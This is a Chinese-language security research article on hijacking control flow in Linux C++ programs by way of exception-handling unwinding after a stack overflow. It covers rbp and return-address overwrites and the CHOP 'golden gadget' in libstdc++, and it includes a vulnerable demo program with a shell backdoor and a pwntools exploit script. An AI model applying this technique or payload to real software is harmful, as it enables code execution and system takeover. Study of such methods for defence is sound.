溢出漏洞在异常处理中的攻击利用手法-上
字数 1229 2025-08-20 18:17:48
Linux下C++异常处理溢出漏洞攻击手法研究
1. 异常处理基础与漏洞背景
本文研究Linux环境下C++基于eh_frame进行unwind的异常处理流程中的攻击手法。异常处理在不同操作系统和语言实现差异较大,本文专注于通过异常处理利用溢出漏洞的技术。
关键特性:
- 异常抛出后不会执行发生异常所在函数的剩余部分(包括ret指令)
- 传统基于ret指令的ROP攻击在异常处理场景下失效
- 异常处理流程绕过了canary等栈保护机制
2. 简单控制流劫持技术
2.1 示例代码分析
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
class x {
public:
char buf[0x10];
x(void) { printf("x:x() called\n"); }
~x(void) { printf("x:~x() called\n"); }
};
void test() {
x a;
int cnt = 0x100;
size_t len = read(0, a.buf, cnt);
if(len > 0x10) {
throw "Buffer overflow";
}
}
int main() {
try {
test();
throw 1;
} catch(int x) {
printf("Int: %d\n", x);
} catch(const char* s) {
printf("String: %s\n", s);
}
return 0;
}
2.2 两种基本攻击手法
手法1:覆盖rbp控制程序流
- 原理:异常处理结束后使用
leave; ret指令,ret地址为[rbp+8] - 利用条件:程序使用rbp存储栈帧(非rsp直接增减方式)
- 利用步骤:
- 覆盖rbp为可控地址(如GOT表地址)
- 在
[rbp+8]处放置目标地址 - 异常处理结束后跳转到目标地址
手法2:覆盖ret地址改变异常处理流程
- 原理:修改返回地址使异常被另一个函数的catch块处理
- 利用条件:目标函数有合适的catch块
- 利用步骤:
- 识别目标catch块地址范围
- 覆盖返回地址为目标try块范围内的地址
- 确保异常类型与catch块匹配
3. CHOP (Catch Handler Oriented Programming)
3.1 Golden Gadget原理
在libstdc++中存在关键代码片段:
void __cxa_call_unexpected(void* exc_obj_in) {
xh_terminate_handler = xh->terminateHandler;
try {
/* ... */
} catch(...) {
__terminate(xh_terminate_handler);
}
}
void __terminate(void (*handler)()) throw() {
handler();
std::abort();
}
通过控制xh_terminate_handler可实现任意函数调用。
3.2 现代libstdc++实现变化
在较新版本(如Ubuntu 22.04)中,调用链变为:
__cxa_call_unexpected()
→ __cxa_call_unexpected.cold()
→ __terminate()
关键变化:
- handler从寄存器r12获取而非局部变量
- 需要控制执行流进入正确分支避免crash
3.3 利用.eh_frame控制寄存器
通过分析.eh_frame段信息(使用readelf -wF),可以找到寄存器与栈的关联关系:
LOC CFA rbx rbp r12 r13 r14 r15 ra
00000000004027e0 rsp+8 u u u u u u c-8
00000000004027e6 rsp+16 u u u u u c-16 c-8
...
选择rsp+8且能设置r12寄存器的条目,通过栈溢出控制寄存器值。
4. 完整利用示例
4.1 测试代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
class x {
public:
char buf[0x10];
x(void) { printf("x:x() called\n"); }
~x(void) { printf("x:~x() called\n"); }
};
void backdoor() {
system("/bin/sh");
}
void test() {
x a;
int cnt = 0x100;
size_t len = read(0, a.buf, cnt);
if(len > 0x10) {
throw "Buffer overflow";
}
}
int main() {
try {
test();
throw 1;
} catch(int x) {
printf("Int: %d\n", x);
} catch(const char* s) {
printf("String: %s\n", s);
}
return 0;
}
4.2 利用步骤
-
定位关键地址:
__cxa_call_unexpected()的try块起始地址- 后门函数地址
- 合适的.eh_frame条目地址
-
构造payload:
- 填充缓冲区
- 设置防止crash的局部变量
- 放置.eh_frame条目地址+1(对齐)
- 放置Golden Gadget的try块地址+1
-
触发异常处理流程
4.3 利用代码(Python)
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = process('./pwn')
backdoor = 0x401a7d
io.recvuntil("called")
payload = b'a'*8
payload += b'b'*8
payload += b'c'*8
payload += p64(0xff) # 防crash
payload += p64(backdoor) # 目标地址
payload += p64(0x4a6001) # 防crash
payload += b'g'*8
payload += p64(0x004032a4 + 1) # .eh_frame条目
payload += p64(0x402df0 + 1) # Golden Gadget地址
io.send(payload)
io.interactive()
5. 防御建议
- 加强栈溢出防护(如加强canary保护)
- 限制异常处理中的敏感操作
- 及时更新libstdc++等关键库
- 使用现代编译防护技术(如CFI)
- 对异常处理流程进行安全审计
6. 扩展研究方向
- 与传统ROP技术的结合利用
- 与Sigreturn的配合攻击
- 其他语言运行时异常处理机制的漏洞研究
- 不同libstdc++版本间的差异分析